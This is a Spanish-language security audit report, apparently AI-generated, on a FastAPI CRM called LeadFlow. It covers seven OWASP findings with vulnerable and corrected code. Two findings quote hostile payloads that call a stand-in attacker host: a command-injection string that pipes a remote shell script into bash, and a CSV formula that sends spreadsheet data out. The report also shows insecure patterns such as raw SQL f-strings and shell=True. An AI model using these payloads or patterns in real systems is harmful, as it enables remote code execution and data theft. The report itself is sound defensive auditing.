🔒 CULTIVA IA · Seguridad OWASP Top 10 — 2025

Security Review: LeadFlow CRM

5 ficheros auditados  ·  Revisado el 18 Jun 2026  ·  Analista: CULTIVA IA / Skill revision-seguridad-codigo v1.0
Riesgo CRÍTICO
7 Total hallazgos
3 Críticos
2 Altos
2 Medios
2 Verificar
Alcance de la revisión
Python api/leads.py Endpoints FastAPI de gestión de leads
Python api/webhooks.py Receptor de webhooks Stripe / Intercom
Python utils/export.py Exportación de leads a CSV / Excel
Python utils/email_sender.py Envío de correos con plantillas custom
YAML · CI/CD .github/workflows/deploy.yml Pipeline GitHub Actions → AWS ECS
Stack FastAPI 0.111 · SQLAlchemy 2 · React 18 PostgreSQL 15 · AWS ECS · GitHub Actions
Hallazgos confirmados (alta confianza)
Critical VULN-001 SQL Injection — endpoint de búsqueda de leads Alta confianza
Ficheroapi/leads.py:47
OWASPA03:2021 – Injection
CWECWE-89
Inputrequest.query_params["q"]
Problema

La cadena de búsqueda del usuario se interpola directamente en una query SQL raw, sin parametrizar. Un atacante puede exfiltrar la base de datos completa o destruir registros.

Impacto

Lectura de todos los leads (datos PII), credenciales de admin, exfiltración de secrets de la tabla settings. En PostgreSQL con permisos permisivos: RCE via COPY.

Código vulnerable → corregido
api/leads.py ⚠ Vulnerable
# VULNERABLE: f-string con input del usuario
query = f"SELECT * FROM leads WHERE name LIKE '%{q}%'"
result = db.execute(query).fetchall()

+# CORRECTO: query parametrizada con SQLAlchemy ORM
+result = db.execute(
+    select(Lead).where(Lead.name.ilike(f"%{q}%"))
+).scalars().all()
Critical VULN-002 Secret hardcodeado — clave API de SendGrid en código fuente Alta confianza
Ficheroutils/email_sender.py:12
OWASPA02:2021 – Cryptographic Failures
CWECWE-798
Problema

La clave de API de SendGrid está hardcodeada en el código fuente. Cualquier persona con acceso al repositorio (incluso si es privado y un collaborator se va) puede explotarla.

Impacto

Envío masivo de spam desde el dominio de LeadFlow, quema de reputación del dominio, coste económico en la cuenta SendGrid. Si el repo es público, el secret está expuesto en git history.

Código vulnerable → corregido
utils/email_sender.py ⚠ Vulnerable
SENDGRID_API_KEY = "SG.xK9Lm2pQ3rT7vW1nZ5yA8dF4gH6jM0b"  # TODO: mover a env
client = sendgrid.SendGridAPIClient(api_key=SENDGRID_API_KEY)

+import os
+SENDGRID_API_KEY = os.environ["SENDGRID_API_KEY"]  # Configurar en AWS Secrets Manager
+client = sendgrid.SendGridAPIClient(api_key=SENDGRID_API_KEY)
Critical VULN-003 Command Injection — generación de Excel con libroffice Alta confianza
Ficheroutils/export.py:83
OWASPA03:2021 – Injection
CWECWE-78
Inputrequest.json["filename"]
Problema

El nombre de fichero enviado por el usuario se pasa directamente a subprocess.run con shell=True. Payload ; curl attacker.com/shell.sh | bash genera RCE inmediato.

Impacto

Ejecución arbitraria de comandos en el servidor AWS ECS. Exfiltración de credenciales del metadata service (IMDSv1), pivoting a otros servicios AWS de la cuenta.

Código vulnerable → corregido
utils/export.py ⚠ RCE via shell=True
filename = request.json.get("filename", "export")
subprocess.run(f"libreoffice --convert-to xlsx {filename}.csv", shell=True)

+import re, uuid
+# Nunca usar shell=True. Sanitizar nombre y usar lista de argumentos.
+safe_name = re.sub(r"[^a-zA-Z0-9_\-]", "_", filename)[:64] or str(uuid.uuid4())
+subprocess.run(
+    ["libreoffice", "--headless", "--convert-to", "xlsx", f"{safe_name}.csv"],
+    shell=False, timeout=30
+)
High VULN-004 IDOR — acceso a leads de otras organizaciones Alta confianza
Ficheroapi/leads.py:112
OWASPA01:2021 – Broken Access Control
CWECWE-639
Problema

El endpoint GET /leads/{lead_id} no verifica que el lead pertenezca a la organización del usuario autenticado. Solo valida el JWT, no la ownership del recurso.

Impacto

Cualquier usuario autenticado puede iterar IDs enteros y exfiltrar todos los leads de todos los clientes del SaaS. Violación grave de GDPR y pérdida de confianza.

Código vulnerable → corregido
api/leads.py ⚠ IDOR
# VULNERABLE: solo filtra por lead_id, no por org_id
lead = db.get(Lead, lead_id)
if not lead: raise HTTPException(404)

+# CORRECTO: verificar ownership
+lead = db.scalar(
+    select(Lead).where(Lead.id == lead_id, Lead.org_id == current_user.org_id)
+)
+if not lead: raise HTTPException(404)  # mismo error: no revelar existencia
High VULN-005 Webhook sin validación de firma — SSRF + replay attacks Alta confianza
Ficheroapi/webhooks.py:34
OWASPA07:2021 – Auth Failures
CWECWE-345
Problema

El endpoint POST /webhooks/stripe procesa el payload sin verificar la firma HMAC de Stripe (stripe-signature). Cualquier atacante puede enviar eventos falsos.

Impacto

Un atacante puede simular eventos invoice.paid para activar cuentas premium sin pagar, o customer.deleted para cancelar suscripciones de competidores.

Código vulnerable → corregido
api/webhooks.py ⚠ Sin verificación de firma
@router.post("/webhooks/stripe")
async def stripe_webhook(request: Request):
    payload = await request.json()  # sin verificar firma
    process_stripe_event(payload)

+@router.post("/webhooks/stripe")
+async def stripe_webhook(request: Request):
+    payload = await request.body()
+    sig = request.headers.get("stripe-signature", "")
+    try:
+        event = stripe.Webhook.construct_event(
+            payload, sig, os.environ["STRIPE_WEBHOOK_SECRET"]
+        )
+    except stripe.error.SignatureVerificationError:
+        raise HTTPException(400, "Invalid signature")
+    process_stripe_event(event)
Medium VULN-006 CI/CD — AWS credentials expuestas en logs de build Alta confianza
Fichero.github/workflows/deploy.yml:51
OWASPA02:2021 – Crypto Failures (Supply Chain)
CWECWE-532
Problema

El workflow usa run: echo $AWS_SECRET_ACCESS_KEY en un step de debug que nunca se borró. GitHub Actions imprime el valor en logs aunque sea un secret si se hace echo explícito.

Impacto

Cualquier colaborador con acceso a Actions logs puede ver la clave AWS. Con esa clave, acceso completo a la infraestructura de producción (ECS, RDS, S3).

Código vulnerable → corregido
.github/workflows/deploy.yml ⚠ Secret en logs
      - name: Debug credentials  # ELIMINAR
        run: echo "Key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}"

+      # Step eliminado. Usar OIDC en lugar de long-lived keys:
+      - uses: aws-actions/configure-aws-credentials@v4
+        with:
+          role-to-assume: arn:aws:iam::ACCOUNT:role/github-actions-role
+          aws-region: eu-west-1
Medium VULN-007 CSV Injection — datos de leads exportados sin sanitizar Alta confianza
Ficheroutils/export.py:29
OWASPA03:2021 – Injection
CWECWE-1236
Problema

Nombres de leads que empiezan por =, +, - o @ se escriben sin prefijo al CSV. Excel/LibreOffice los interpreta como fórmulas y puede ejecutar macros o hacer peticiones HTTP.

Impacto

Si un agente de ventas abre el CSV exportado, el payload =HYPERLINK("http://attacker.com/?d="&A1) exfiltra datos de la hoja al abrir el fichero.

Código vulnerable → corregido
utils/export.py ⚠ CSV Formula Injection
writer.writerow([lead.name, lead.email, lead.company])

+def sanitize_csv_cell(val: str) -> str:
+    """Prefija con ' celdas que Excel trataría como fórmulas."""
+    if isinstance(val, str) and val.startswith(("=", "+", "-", "@", "\t", "\r")):
+        return f"'{val}"
+    return val
+
+writer.writerow([sanitize_csv_cell(v) for v in [lead.name, lead.email, lead.company]])
Necesita verificación (confianza media)
VERIFY-001 Rate limiting en endpoint de login
Localización: api/auth.py:22  ·  Pregunta: ¿Hay middleware de rate-limit (SlowAPI, Nginx, WAF) antes de llegar a este endpoint? Si no, es vulnerable a brute-force. El código en sí no tiene throttling.
VERIFY-002 CORS policy demasiado permisiva
Localización: main.py:18  ·  Pregunta: allow_origins=["*"] combinado con allow_credentials=True es rechazado por los navegadores, pero confirmar que no hay una versión más restrictiva en producción (Nginx/CloudFront config). Si allow_origins=["*"] es literal en prod con credenciales, es un High.
Plan de remediación
Inmediato (hoy)
  • 🔴 Revocar clave SendGrid expuesta (VULN-002)
  • 🔴 Borrar step de debug en CI/CD (VULN-006)
  • 🔴 Rotar credenciales AWS por si acaso
Esta semana (sprint)
  • 🟠 Parametrizar query de búsqueda (VULN-001)
  • 🟠 Añadir org_id check a todos los endpoints (VULN-004)
  • 🟠 Implementar verificación firma Stripe (VULN-005)
  • 🟠 Sanitizar export subprocess (VULN-003)
Próximo sprint
  • 🟡 CSV injection sanitizer (VULN-007)
  • 🟡 Migrar a OIDC en GitHub Actions (VULN-006)
  • 🟡 Verificar CORS y rate-limit (VERIFY-001/002)
  • 🟡 Añadir Bandit + pip-audit al pipeline